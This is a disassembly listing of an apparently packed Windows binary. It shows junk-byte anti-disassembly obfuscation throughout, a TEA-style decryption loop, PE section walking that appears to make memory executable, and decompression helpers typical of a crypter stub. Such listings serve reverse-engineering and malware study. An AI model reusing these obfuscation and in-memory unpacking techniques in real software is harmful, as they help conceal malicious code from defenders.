; ---------------------------------------------------------------------------
		pusha
		sbb	esi, ebx


loc_40279B:				; CODE XREF: sub_4026C0+D4j
		jmp	loc_40284C
; ---------------------------------------------------------------------------
		jmp	loc_4027B0
; ---------------------------------------------------------------------------
		mov	edi, 0DBEAD58Ch
		js	short near ptr loc_4027FB+2
		mov	dh, 0B7h
		and	al, 8Dh


loc_4027B0:				; CODE XREF: sub_4026C0+C9j
					; sub_4026C0+E0j
		cmp	eax, 12h
		jnz	loc_4027DC
		jmp	short loc_4027C2
; ---------------------------------------------------------------------------
		db 42h
		dd 8E899053h
		db 0AFh, 0BCh
; ---------------------------------------------------------------------------


loc_4027C2:				; CODE XREF: sub_4026C0+F9j
		mov	edx, 20h
		jmp	short loc_4027D1
; ---------------------------------------------------------------------------
		db 45h,	9Ah, 0CBh
; ---------------------------------------------------------------------------
		test	al, 0C1h
		cmpsw
		push	esp


loc_4027D1:				; CODE XREF: sub_4026C0+107j
		jmp	loc_40284C
; ---------------------------------------------------------------------------
		jmp	loc_4027DC
; ---------------------------------------------------------------------------
		std


loc_4027DC:				; CODE XREF: sub_4026C0+F3j
					; sub_4026C0+116j
		cmp	eax, 16h
		jnz	loc_402802
		mov	edx, 40h
		jmp	short loc_4027F6
; ---------------------------------------------------------------------------
		dd 0F9C043F2h, 0B5EC9F3Eh
		db 4Ah,	0BBh
; ---------------------------------------------------------------------------


loc_4027F6:				; CODE XREF: sub_4026C0+12Aj
		jmp	loc_40284C
; ---------------------------------------------------------------------------


loc_4027FB:				; CODE XREF: sub_4026C0+EAj
		jmp	loc_402802
; ---------------------------------------------------------------------------
		fdiv	dword ptr [ecx]


loc_402802:				; CODE XREF: sub_4026C0+11Fj
					; sub_4026C0:loc_4027FBj
		cmp	eax, 2
		jnz	loc_402821
		jmp	loc_402817
; ---------------------------------------------------------------------------
		push	ss
		xchg	eax, edi
		test	[ebp-5Eh], ch
		xor	esi, eax


loc_402817:				; CODE XREF: sub_4026C0+14Bj
		mov	edx, 2
		jmp	loc_40284C
; ---------------------------------------------------------------------------


loc_402821:				; CODE XREF: sub_4026C0+145j
		cmp	eax, 6
		jnz	loc_40284C
		jmp	short loc_40283C
; ---------------------------------------------------------------------------
		imul	ebp, esi, 0FA251C8Fh
		stosd
		or	[ecx-224B783Ah], ah
		push	edx
		and	esp, [eax]


loc_40283C:				; CODE XREF: sub_4026C0+16Aj
		mov	edx, 4
		jmp	short loc_40284C
; ---------------------------------------------------------------------------
		fstp	dword ptr [esi-556AB381h]


loc_402849:				; CODE XREF: sub_4026C0+1EEj
		wait
		cmp	[ecx], dl


loc_40284C:				; CODE XREF: sub_4026C0:loc_40279Bj
					; sub_4026C0:loc_4027D1j ...
		sub	esp, 4
		lea	eax, [esp+0]
		push	eax
		jmp	loc_402868
; ---------------------------------------------------------------------------
		dd 4DE47776h, 49501302h, 57C6F4Eh, 81688B5Ah
; ---------------------------------------------------------------------------


loc_402868:				; CODE XREF: sub_4026C0+193j
		push	edx
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		jmp	loc_402876
; ---------------------------------------------------------------------------
		db 26h,	67h
; ---------------------------------------------------------------------------


loc_402876:				; CODE XREF: sub_4026C0+1AFj
		call	dword ptr [ebp-4]
		add	esp, 4
		jmp	short loc_40288D
; ---------------------------------------------------------------------------
		dw 0BD14h
		dd 0B98003B2h, 75AC5FFEh, 0F1987B0Ah
; ---------------------------------------------------------------------------
		setalc


loc_40288D:				; CODE XREF: sub_4026C0+1BCj
		pop	esi
		jmp	short loc_402894
; ---------------------------------------------------------------------------
		dd 622D4457h
; ---------------------------------------------------------------------------


loc_402894:				; CODE XREF: sub_4026C0+1CEj
		pop	edi
		jmp	loc_4028A9
; ---------------------------------------------------------------------------
		dw 0B0F3h
; ---------------------------------------------------------------------------
		sub	[esi-451A23B1h], ebp
		imul	ecx, eax, 61h
		xchg	al, [edi+74h]
		popf


loc_4028A9:				; CODE XREF: sub_4026C0+1D5j
		pop	ecx
		jmp	short locret_4028B2
; ---------------------------------------------------------------------------
		adc	ah, bl
		loopne	loc_402849
		pop	esi
		aas

locret_4028B2:				; CODE XREF: sub_4026C0+1EAj
		leave
		jmp	locret_4028C5
; ---------------------------------------------------------------------------
		dd 5B6A550Ch, 3736D1F8h, 0D3C20DA4h
		db 10h
; ---------------------------------------------------------------------------

locret_4028C5:				; CODE XREF: sub_4026C0+1F3j
		retn	0Ch
sub_4026C0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4028C8	proc near		; CODE XREF: sub_4019C4:loc_401B47p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		jmp	loc_4028D1
; ---------------------------------------------------------------------------
		db 9
; ---------------------------------------------------------------------------


loc_4028D1:				; CODE XREF: sub_4028C8+3j
		push	ecx
		push	esi
		jmp	short loc_4028E3
; ---------------------------------------------------------------------------
		db 0Eh,	2Fh, 3Ch
		dd 284B1AC5h, 0D427E641h
; ---------------------------------------------------------------------------
		jge	short loc_402954
		retn
; ---------------------------------------------------------------------------


loc_4028E3:				; CODE XREF: sub_4028C8+Bj
		push	edi
		xor	eax, eax
		jmp	short loc_4028F8
; ---------------------------------------------------------------------------
		dd 1FBE7940h, 3BCA356Ch, 1796B158h, 0B322ED04h
; ---------------------------------------------------------------------------


loc_4028F8:				; CODE XREF: sub_4028C8+1Ej
		mov	ecx, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		rep stosb
		jmp	short loc_402911
; ---------------------------------------------------------------------------
		dw 0E970h
		dd 0A59C0F6Eh, 21882B7Ah, 5D340746h
		db 0D2h
; ---------------------------------------------------------------------------


loc_402911:				; CODE XREF: sub_4028C8+38j
		pop	edi
		jmp	loc_40291D
; ---------------------------------------------------------------------------
		mov	ds:0FF1E59A0h, eax
		int	3		; Trap to Debugger


loc_40291D:				; CODE XREF: sub_4028C8+4Aj
		pop	esi
		jmp	short loc_40292C
; ---------------------------------------------------------------------------
		dd 0B81B2A15h, 64F7F691h, 0D09382CDh
; ---------------------------------------------------------------------------


loc_40292C:				; CODE XREF: sub_4028C8+56j
		pop	ecx
		jmp	locret_402939
; ---------------------------------------------------------------------------
		dw 0CEC9h
		dd 0DA85FCEFh
		db 0Bh
; ---------------------------------------------------------------------------

locret_402939:				; CODE XREF: sub_4028C8+65j
		leave
		retn	8
sub_4028C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40293D	proc far		; CODE XREF: sub_40141A+1p

var_18		= byte ptr -18h
var_14		= dword	ptr -14h

		push	ebp
		jmp	short loc_40294B
; ---------------------------------------------------------------------------
		dd 0E7A601E8h, 83323D94h
		db 0, 39h, 7Eh
; ---------------------------------------------------------------------------


loc_40294B:				; CODE XREF: sub_40293D+1j
		mov	ebp, esp
		push	esi
		push	edi
		jmp	loc_402961
; ---------------------------------------------------------------------------


loc_402954:				; CODE XREF: sub_4028C8+18j
		fild	qword ptr ds:7118FB8Ah[esi*8]
		push	esi
		xlat
; ---------------------------------------------------------------------------
		db 0C4h, 0ADh, 0E2h
		db 73h
; ---------------------------------------------------------------------------


loc_402961:				; CODE XREF: sub_40293D+12j
		push	ecx
		call	sub_4034CE
		push	0F5FE686Ah
		push	ecx
		jmp	loc_40297B
; ---------------------------------------------------------------------------
		dw 5CCFh
		dd 48EB3A65h
		db 0E1h, 6, 0C7h
; ---------------------------------------------------------------------------


loc_40297B:				; CODE XREF: sub_40293D+30j
		mov	ecx, 5C200730h
		jmp	loc_40298D
; ---------------------------------------------------------------------------
		db 0F4h, 1Dh, 92h
		dd 0DE196063h
		db 0BFh
; ---------------------------------------------------------------------------


loc_40298D:				; CODE XREF: sub_40293D+43j
		xor	dword ptr [esp+1Ch+var_18], ecx
		pop	ecx
		jmp	loc_402999
; ---------------------------------------------------------------------------
		mov	ebp, ss


loc_402999:				; CODE XREF: sub_40293D+55j
		push	eax
		call	near ptr sub_403516
		jmp	loc_4029A6
; ---------------------------------------------------------------------------
		db 0EAh, 0DBh
; ---------------------------------------------------------------------------


loc_4029A6:				; CODE XREF: sub_40293D+62j
		mov	edi, eax
		xor	edx, edx


loc_4029AA:				; CODE XREF: sub_40293D:loc_402AB9j
		mov	esi, [ebp+8]
		jmp	loc_4029BB
; ---------------------------------------------------------------------------
		dw 5178h
; ---------------------------------------------------------------------------
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop


loc_4029BB:				; CODE XREF: sub_40293D+70j
		add	esi, [esi+3Ch]
		add	esi, 0F8h
		add	esi, edx
		jmp	loc_4029D2
; ---------------------------------------------------------------------------
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------


loc_4029D2:				; CODE XREF: sub_40293D+89j
		mov	ecx, [esi+8]
		jmp	short loc_4029DD
; ---------------------------------------------------------------------------
		test	al, 0C1h
		cmpsw
		push	esp
		std


loc_4029DD:				; CODE XREF: sub_40293D+98j
		mov	esi, [esi+0Ch]
		jmp	short loc_4029E8
; ---------------------------------------------------------------------------
		dw 43F2h
; ---------------------------------------------------------------------------
		sar	cl, 3Eh
		lahf


loc_4029E8:				; CODE XREF: sub_40293D+A3j
		add	esi, [ebp+8]
		push	edx
		sub	esp, 4
		jmp	loc_402A03
; ---------------------------------------------------------------------------
		dd 0BB4AB5ECh, 971631D8h, 33A26D84h
		db 0F0h, 69h, 0EEh
; ---------------------------------------------------------------------------


loc_402A03:				; CODE XREF: sub_40293D+B2j
		lea	eax, [esp+0]
		jmp	short loc_402A0D
; ---------------------------------------------------------------------------
		dd 0FA251C8Fh
; ---------------------------------------------------------------------------
		stosd


loc_402A0D:				; CODE XREF: sub_40293D+C9j
		push	eax
		jmp	loc_402A1D
; ---------------------------------------------------------------------------
		db 8
		dd 0B487C6A1h, 202352DDh
		db 0D9h
; ---------------------------------------------------------------------------


loc_402A1D:				; CODE XREF: sub_40293D+D1j
		push	40h
		push	ecx
		push	esi
		jmp	short loc_402A2F
; ---------------------------------------------------------------------------
		db 9Eh
		dd 0AA954C7Fh, 7611389Bh
		db 77h,	0E4h, 4Dh
; ---------------------------------------------------------------------------


loc_402A2F:				; CODE XREF: sub_40293D+E4j
		call	edi
		jmp	loc_402A46
; ---------------------------------------------------------------------------
		dw 1302h
		dd 6F4E4950h, 8B5A057Ch, 67268168h
; ---------------------------------------------------------------------------
		adc	al, 0BDh


loc_402A46:				; CODE XREF: sub_40293D+F4j
		add	esp, 4
		mov	esi, ebx
		jmp	loc_402A5E
; ---------------------------------------------------------------------------
		dd 0B98003B2h, 75AC5FFEh, 0F1987B0Ah
; ---------------------------------------------------------------------------
		setalc
		push	edi


loc_402A5E:				; CODE XREF: sub_40293D+10Ej
		add	esi, [esi+3Ch]
		jmp	short loc_402A6D
; ---------------------------------------------------------------------------
		db 44h
; ---------------------------------------------------------------------------
		sub	eax, 29B0F362h
		scasb
		dec	edi
		fsubr	st(5), st


loc_402A6D:				; CODE XREF: sub_40293D+124j
		movsx	eax, word ptr [esi+6]
		jmp	loc_402A85
; ---------------------------------------------------------------------------
		dw 6BBAh
		dd 478661C8h, 0E3129D74h, 3F5E99E0h
		db 0Ch
; ---------------------------------------------------------------------------


loc_402A85:				; CODE XREF: sub_40293D+134j
		dec	eax
		jmp	short loc_402A8B
; ---------------------------------------------------------------------------
		push	ebp
		push	5Bh


loc_402A8B:				; CODE XREF: sub_40293D+149j
		xor	edx, edx
		mov	ecx, 28h
		mul	ecx
		jmp	short loc_402A9C
; ---------------------------------------------------------------------------
		dw 0D1F8h
		dd 0DA43736h
; ---------------------------------------------------------------------------


loc_402A9C:				; CODE XREF: sub_40293D+157j
		pop	edx
		jmp	short loc_402AA4
; ---------------------------------------------------------------------------
		db 0C2h
; ---------------------------------------------------------------------------
		rcl	dword ptr [eax], cl
		or	[esi], ecx


loc_402AA4:				; CODE XREF: sub_40293D+160j
		cmp	edx, eax
		jz	loc_402ABE
		add	edx, 28h
		jmp	short loc_402AB9
; ---------------------------------------------------------------------------
		db 2Fh,	3Ch, 0C5h
		dd 41284B1Ah
		db 0E6h
; ---------------------------------------------------------------------------


loc_402AB9:				; CODE XREF: sub_40293D+172j
		jmp	loc_4029AA
; ---------------------------------------------------------------------------


loc_402ABE:				; CODE XREF: sub_40293D+169j
		pop	ecx
		jmp	loc_402AD3
; ---------------------------------------------------------------------------
		dd 727DD427h, 0BE7940C3h, 0CA356C1Fh
; ---------------------------------------------------------------------------
		cmp	ebx, [eax-4Fh]


loc_402AD3:				; CODE XREF: sub_40293D+182j
		pop	edi
		jmp	short loc_402AD7
; ---------------------------------------------------------------------------
		xchg	eax, esi


loc_402AD7:				; CODE XREF: sub_40293D+197j
		pop	esi
		leave
		jmp	locret_402AEA
; ---------------------------------------------------------------------------
		dw 417h
		dd 70B322EDh, 9C0F6EE9h
		db 0A5h, 7Ah
; ---------------------------------------------------------------------------

locret_402AEA:				; CODE XREF: sub_40293D+19Cj
		retn	4
sub_40293D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402AED	proc near		; CODE XREF: sub_402C8E:loc_402D39p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		jmp	loc_402B00
; ---------------------------------------------------------------------------
		db 2Bh,	88h, 21h
		dd 5D340746h, 59A0A3D2h
; ---------------------------------------------------------------------------


loc_402B00:				; CODE XREF: sub_402AED+3j
		push	edi
		jmp	short loc_402B0F
; ---------------------------------------------------------------------------
		db 1Eh
		dd 2A15CCFFh, 0F691B81Bh
		db 0F7h, 64h, 0CDh
; ---------------------------------------------------------------------------


loc_402B0F:				; CODE XREF: sub_402AED+14j
		push	esi
		push	ebx
		push	ecx
		jmp	loc_402B22
; ---------------------------------------------------------------------------
		adc	byte ptr [ebx-10313630h], 0FCh
		test	ebx, edx
		or	ebp, eax


loc_402B22:				; CODE XREF: sub_402AED+25j
		mov	eax, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	ecx, 0C6EF3720h
		jmp	loc_402B35
; ---------------------------------------------------------------------------
		dw 0A601h
		db 0E7h
; ---------------------------------------------------------------------------


loc_402B35:				; CODE XREF: sub_402AED+40j
		mov	edx, 20h


loc_402B3A:				; CODE XREF: sub_402AED+154j
		push	edx
		mov	edi, eax
		jmp	short loc_402B47
; ---------------------------------------------------------------------------
		db 94h
		dd 83323Dh
; ---------------------------------------------------------------------------
		cmp	[esi-21h], edi


loc_402B47:				; CODE XREF: sub_402AED+50j
		shr	edi, 5
		jmp	loc_402B5E
; ---------------------------------------------------------------------------
		db 2Ch
		dd 18FB8AF5h, 0C4D75671h, 3073E2ADh
		db 0A9h, 2Eh
; ---------------------------------------------------------------------------


loc_402B5E:				; CODE XREF: sub_402AED+5Dj
		mov	ebx, [ebp+arg_14]
		jmp	loc_402B6F
; ---------------------------------------------------------------------------
		dw 5CCFh
		dd 48EB3A65h
		db 0E1h, 6, 0C7h
; ---------------------------------------------------------------------------


loc_402B6F:				; CODE XREF: sub_402AED+74j
		add	edi, ebx
		mov	ebx, eax
		jmp	short loc_402B7C
; ---------------------------------------------------------------------------
		db 0F4h, 1Dh, 92h
		dd 0DE196063h
; ---------------------------------------------------------------------------


loc_402B7C:				; CODE XREF: sub_402AED+86j
		shl	ebx, 4
		mov	edx, [ebp+arg_10]
		jmp	loc_402B8A
; ---------------------------------------------------------------------------
		db 0BFh
; ---------------------------------------------------------------------------
		mov	ebp, ss


loc_402B8A:				; CODE XREF: sub_402AED+95j
		add	ebx, edx
		xor	edi, ebx
		lea	ebx, [eax+ecx]
		jmp	short loc_402BA1
; ---------------------------------------------------------------------------
		db 0EAh
		dd 0B65178DBh, 428D24B7h, 8E899053h
; ---------------------------------------------------------------------------
		scasd


loc_402BA1:				; CODE XREF: sub_402AED+A4j
		xor	edi, ebx
		jmp	loc_402BB4
; ---------------------------------------------------------------------------
		dd 0CB9A45BCh, 0A766C1A8h, 43F2FD54h
; ---------------------------------------------------------------------------


loc_402BB4:				; CODE XREF: sub_402AED+B6j
		sub	esi, edi
		mov	edi, esi
		shr	edi, 5
		jmp	loc_402BC2
; ---------------------------------------------------------------------------
		db 0C0h, 0F9h
; ---------------------------------------------------------------------------


loc_402BC2:				; CODE XREF: sub_402AED+CEj
		mov	ebx, [ebp+arg_C]
		jmp	short loc_402BD3
; ---------------------------------------------------------------------------
		db 3Eh
		dd 4AB5EC9Fh, 1631D8BBh
		db 97h,	84h, 6Dh
; ---------------------------------------------------------------------------


loc_402BD3:				; CODE XREF: sub_402AED+D8j
		add	edi, ebx
		jmp	short loc_402BDC
; ---------------------------------------------------------------------------
		mov	ds:0EE69F033h, al


loc_402BDC:				; CODE XREF: sub_402AED+E8j
		mov	ebx, esi
		shl	ebx, 4
		jmp	short loc_402BF0
; ---------------------------------------------------------------------------
		db 8Fh
		dd 0ABFA251Ch, 87C6A108h, 2352DDB4h
; ---------------------------------------------------------------------------


loc_402BF0:				; CODE XREF: sub_402AED+F4j
		mov	edx, [ebp+arg_8]
		add	ebx, edx
		jmp	short loc_402C02
; ---------------------------------------------------------------------------
		db 20h
		dd 4C7F9ED9h, 389BAA95h
		db 11h,	76h
; ---------------------------------------------------------------------------


loc_402C02:				; CODE XREF: sub_402AED+108j
		xor	edi, ebx


loc_402C04:				; CODE XREF: sub_402AED+178j
		jmp	short loc_402C0E
; ---------------------------------------------------------------------------
		dw 0E477h
; ---------------------------------------------------------------------------
		dec	ebp
		add	dl, [ebx]
		push	eax
		dec	ecx
		dec	esi


loc_402C0E:				; CODE XREF: sub_402AED:loc_402C04j
		lea	ebx, [esi+ecx]
		jmp	short loc_402C1E
; ---------------------------------------------------------------------------
		db 6Fh
; ---------------------------------------------------------------------------
		jl	short near ptr loc_402C1A+1
		pop	edx
		mov	ebp, [eax-7Fh]


loc_402C1A:				; CODE XREF: sub_402AED+127j
		db	26h, 67h
		adc	al, 0BDh


loc_402C1E:				; CODE XREF: sub_402AED+124j
		xor	edi, ebx
		sub	eax, edi
		add	ecx, 61C88647h
		jmp	short loc_402C38
; ---------------------------------------------------------------------------
		dw 3B2h
		dd 5FFEB980h, 7B0A75ACh, 57D6F198h
; ---------------------------------------------------------------------------


loc_402C38:				; CODE XREF: sub_402AED+13Bj
		pop	edx
		jmp	loc_402C40
; ---------------------------------------------------------------------------
		dw 2D44h
; ---------------------------------------------------------------------------


loc_402C40:				; CODE XREF: sub_402AED+14Cj
		dec	edx
		jnz	loc_402B3A
		mov	edx, esi
		pop	ecx
		jmp	loc_402C50
; ---------------------------------------------------------------------------
		db 62h
; ---------------------------------------------------------------------------


loc_402C50:				; CODE XREF: sub_402AED+15Dj
		pop	ebx
		pop	esi
		pop	edi
		jmp	locret_402C67
; ---------------------------------------------------------------------------
		dd 0AE29B0F3h, 0BAE5DC4Fh, 8661C86Bh
; ---------------------------------------------------------------------------
		inc	edi
		jz	short loc_402C04

locret_402C67:				; CODE XREF: sub_402AED+166j
		leave
		jmp	short locret_402C79
; ---------------------------------------------------------------------------
		dw 0E312h
		dd 3F5E99E0h, 5B6A550Ch, 3736D1F8h
; ---------------------------------------------------------------------------
		movsb

locret_402C79:				; CODE XREF: sub_402AED+17Bj
		retn	18h
sub_402AED	endp

; ---------------------------------------------------------------------------
		jmp	sub_402C8E
; ---------------------------------------------------------------------------
		or	eax, 910D3C2h
		push	cs
		das
		cmp	al, 0C5h
		sbb	cl, [ebx+28h]
		inc	ecx

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402C8E	proc near		; CODE XREF: sub_40141A+3A1p
					; .text:00402C7Cj

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		jmp	short loc_402CA2
; ---------------------------------------------------------------------------
		db 0E6h
		dd 727DD427h, 0BE7940C3h, 0CA356C1Fh
		db 3Bh,	58h
; ---------------------------------------------------------------------------


loc_402CA2:				; CODE XREF: sub_402C8E+3j
		push	edi
		jmp	loc_402CAE
; ---------------------------------------------------------------------------
		dd 41796B1h
		db 0EDh, 22h
; ---------------------------------------------------------------------------


loc_402CAE:				; CODE XREF: sub_402C8E+15j
		push	esi
		push	ebx
		jmp	loc_402CBB
; ---------------------------------------------------------------------------
		db 0B3h, 70h, 0E9h
		db 6Eh,	0Fh, 9Ch
; ---------------------------------------------------------------------------


loc_402CBB:				; CODE XREF: sub_402C8E+22j
		mov	ebx, [ebp+arg_4]
		mov	ecx, ebx
		shr	ebx, 3
		jmp	loc_402CCC
; ---------------------------------------------------------------------------
		dd 882B7AA5h
; ---------------------------------------------------------------------------


loc_402CCC:				; CODE XREF: sub_402C8E+35j
		mov	eax, 8
		mul	ebx
		cmp	eax, ecx
		jz	loc_402CF2
		jmp	short loc_402CED
; ---------------------------------------------------------------------------
		db 21h,	46h, 7
		dd 0A3D25D34h, 0FF1E59A0h, 1B2A15CCh
		db 0B8h
; ---------------------------------------------------------------------------


loc_402CED:				; CODE XREF: sub_402C8E+4Dj
		add	eax, 8
		mov	ecx, eax


loc_402CF2:				; CODE XREF: sub_402C8E+47j
		mov	esi, [ebp+arg_0]
		jmp	short loc_402CFF
; ---------------------------------------------------------------------------
		db 91h
		dd 0CD64F7F6h
		db 82h,	93h, 0D0h
; ---------------------------------------------------------------------------


loc_402CFF:				; CODE XREF: sub_402C8E+67j
		mov	edi, esi


loc_402D01:				; CODE XREF: sub_402C8E+C8j
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		jmp	loc_402D10
; ---------------------------------------------------------------------------
		dd 0FCEFCEC9h
; ---------------------------------------------------------------------------


loc_402D10:				; CODE XREF: sub_402C8E+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		jmp	loc_402D22
; ---------------------------------------------------------------------------
		db 85h
		dd 1E80BDAh
		db 0A6h, 0E7h
; ---------------------------------------------------------------------------


loc_402D22:				; CODE XREF: sub_402C8E+88j
		push	dword ptr [ecx+esi-8]
		jmp	loc_402D2C
; ---------------------------------------------------------------------------
		xchg	eax, esp


loc_402D2C:				; CODE XREF: sub_402C8E+98j
		push	dword ptr [ecx+esi-4]
		jmp	short loc_402D39
; ---------------------------------------------------------------------------
		dw 323Dh
		dd 7E390083h
		db 0DFh
; ---------------------------------------------------------------------------


loc_402D39:				; CODE XREF: sub_402C8E+A2j
		call	sub_402AED
		mov	[ecx+edi-4], eax
		jmp	short loc_402D46
; ---------------------------------------------------------------------------
		sub	al, 0F5h


loc_402D46:				; CODE XREF: sub_402C8E+B4j
		mov	[ecx+edi-8], edx
		jmp	short loc_402D53
; ---------------------------------------------------------------------------
		dd 7118FB8Ah
		db 56h,	0D7h, 0C4h
; ---------------------------------------------------------------------------


loc_402D53:				; CODE XREF: sub_402C8E+BCj
		sub	ecx, 8
		jnz	loc_402D01
		jmp	loc_402D6F
; ---------------------------------------------------------------------------
		db 0ADh, 0E2h, 73h
		dd 0CF2EA930h, 0EB3A655Ch
		db 48h,	0E1h, 6
; ---------------------------------------------------------------------------


loc_402D6F:				; CODE XREF: sub_402C8E+CEj
		pop	ebx
		pop	esi
		pop	edi
		jmp	locret_402D7B
; ---------------------------------------------------------------------------
		db 0C7h
		db 0F4h, 1Dh, 92h
; ---------------------------------------------------------------------------

locret_402D7B:				; CODE XREF: sub_402C8E+E4j
		leave
		retn	18h
sub_402C8E	endp

; ---------------------------------------------------------------------------
		jmp	near ptr sub_402D93
; ---------------------------------------------------------------------------
		dd 0DE196063h, 0EAD58CBFh, 0B65178DBh
		db 0B7h, 24h, 8Dh

; =============== S U B	R O U T	I N E =======================================



sub_402D93	proc far		; CODE XREF: sub_4013C8:loc_4013FBp
					; sub_40141A:loc_4014CDp ...
		push	ebp
		jmp	loc_402DA2
; ---------------------------------------------------------------------------
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx


loc_402DA2:				; CODE XREF: sub_402D93+1j
		mov	ebp, esp
		pusha
		jmp	short loc_402DB0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		dd 0A766C1A8h, 43F2FD54h
; ---------------------------------------------------------------------------


loc_402DB0:				; CODE XREF: sub_402D93+12j
		mov	ecx, [ebp+10h]
		jmp	loc_402DC7
; ---------------------------------------------------------------------------
		dd 9F3EF9C0h, 0BB4AB5ECh, 971631D8h
; ---------------------------------------------------------------------------
		test	[ebp-5Eh], ch


loc_402DC7:				; CODE XREF: sub_402D93+20j
		mov	edi, [ebp+8]
		jmp	short loc_402DDC
; ---------------------------------------------------------------------------
		xor	esi, eax
		imul	ebp, esi, 0FA251C8Fh
		stosd
		or	[ecx-224B783Ah], ah
		push	edx


loc_402DDC:				; CODE XREF: sub_402D93+37j
		mov	esi, [ebp+0Ch]
		rep movsb
		popa


loc_402DE2:				; CODE XREF: sub_402DEA+12j
		jmp	short locret_402DE6
; ---------------------------------------------------------------------------
		and	esp, [eax]

locret_402DE6:				; CODE XREF: sub_402D93:loc_402DE2j
		leave
		retn	0Ch
sub_402D93	endp


; =============== S U B	R O U T	I N E =======================================



sub_402DEA	proc near		; CODE XREF: sub_402EB1:loc_402EBCp
					; sub_402EB1+21p ...
		mov	eax, [ecx+0Ch]
		jmp	loc_402DFF
; ---------------------------------------------------------------------------
		dw 9ED9h
		dd 0AA954C7Fh, 7611389Bh
; ---------------------------------------------------------------------------
		ja	short loc_402DE2
		dec	ebp


loc_402DFF:				; CODE XREF: sub_402DEA+3j
		lea	edx, [eax-1]
		mov	[ecx+0Ch], edx
		test	eax, eax
		jnz	loc_402E61
		jmp	short loc_402E14
; ---------------------------------------------------------------------------
		add	dl, [ebx]
		push	eax
		dec	ecx
		dec	esi


loc_402E14:				; CODE XREF: sub_402DEA+23j
		mov	eax, [ecx]
		jmp	loc_402E2A
; ---------------------------------------------------------------------------
		db 6Fh
		dd 8B5A057Ch, 67268168h, 3B2BD14h
		db 80h,	0B9h
; ---------------------------------------------------------------------------


loc_402E2A:				; CODE XREF: sub_402DEA+2Cj
		movzx	edx, byte ptr [eax]
		jmp	short loc_402E30
; ---------------------------------------------------------------------------
		db 0FEh
; ---------------------------------------------------------------------------


loc_402E30:				; CODE XREF: sub_402DEA+43j
		inc	eax
		mov	[ecx+8], edx
		mov	[ecx], eax
		jmp	loc_402E49
; ---------------------------------------------------------------------------
		db 5Fh
		dd 7B0A75ACh, 57D6F198h, 0F3622D44h
		db 0B0h
; ---------------------------------------------------------------------------


loc_402E49:				; CODE XREF: sub_402DEA+4Cj
		mov	dword ptr [ecx+0Ch], 7
		jmp	loc_402E61
; ---------------------------------------------------------------------------
		sub	[esi-451A23B1h], ebp
		imul	ecx, eax, 61h
		xchg	al, [edi+74h]


loc_402E61:				; CODE XREF: sub_402DEA+1Dj
					; sub_402DEA+66j
		mov	edx, [ecx+8]
		jmp	loc_402E76
; ---------------------------------------------------------------------------
		db 9Dh,	12h, 0E3h
		dd 3F5E99E0h, 5B6A550Ch
		db 0F8h, 0D1h
; ---------------------------------------------------------------------------


loc_402E76:				; CODE XREF: sub_402DEA+7Aj
		mov	eax, edx
		jmp	loc_402E81
; ---------------------------------------------------------------------------
		db 36h,	37h, 0A4h
		db 0Dh
; ---------------------------------------------------------------------------


loc_402E81:				; CODE XREF: sub_402DEA+8Ej
		shr	eax, 7
		add	edx, edx
		and	eax, 1
		jmp	loc_402E9D
; ---------------------------------------------------------------------------
		dw 0D3C2h
		dd 2F0E0910h, 4B1AC53Ch, 27E64128h
		db 0D4h
; ---------------------------------------------------------------------------


loc_402E9D:				; CODE XREF: sub_402DEA+9Fj
		mov	[ecx+8], edx
		jmp	short locret_402EB0
; ---------------------------------------------------------------------------
		dw 727Dh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 40h,	79h, 0BEh
		dd 0CA356C1Fh, 96B1583Bh
; ---------------------------------------------------------------------------

locret_402EB0:				; CODE XREF: sub_402DEA+B6j
		retn
sub_402DEA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_402EB1	proc near		; CODE XREF: sub_402F03:loc_4031AEp
					; sub_402F03:loc_4031E0p ...
		push	esi
		jmp	loc_402EB9
; ---------------------------------------------------------------------------
		db 17h
		db 4
; ---------------------------------------------------------------------------


loc_402EB9:				; CODE XREF: sub_402EB1+1j
		xor	esi, esi
		inc	esi


loc_402EBC:				; CODE XREF: sub_402EB1+33j
		call	sub_402DEA
		jmp	short loc_402ECF
; ---------------------------------------------------------------------------
		db 0EDh
		dd 0E970B322h, 0A59C0F6Eh
		db 7Ah,	2Bh, 88h
; ---------------------------------------------------------------------------


loc_402ECF:				; CODE XREF: sub_402EB1+10j
		lea	esi, [eax+esi*2]
		call	sub_402DEA
		jmp	loc_402EE2
; ---------------------------------------------------------------------------
		dd 34074621h
		db 5Dh,	0D2h
; ---------------------------------------------------------------------------


loc_402EE2:				; CODE XREF: sub_402EB1+26j
		test	eax, eax
		jnz	loc_402EBC
		jmp	short loc_402EF5
; ---------------------------------------------------------------------------
		dd 1E59A0A3h, 2A15CCFFh
		db 1Bh
; ---------------------------------------------------------------------------


loc_402EF5:				; CODE XREF: sub_402EB1+39j
		mov	eax, esi
		pop	esi
		jmp	short locret_402F02
; ---------------------------------------------------------------------------
		dw 91B8h
		dd 0CD64F7F6h
		db 82h,	93h
; ---------------------------------------------------------------------------

locret_402F02:				; CODE XREF: sub_402EB1+47j
		retn
sub_402EB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame
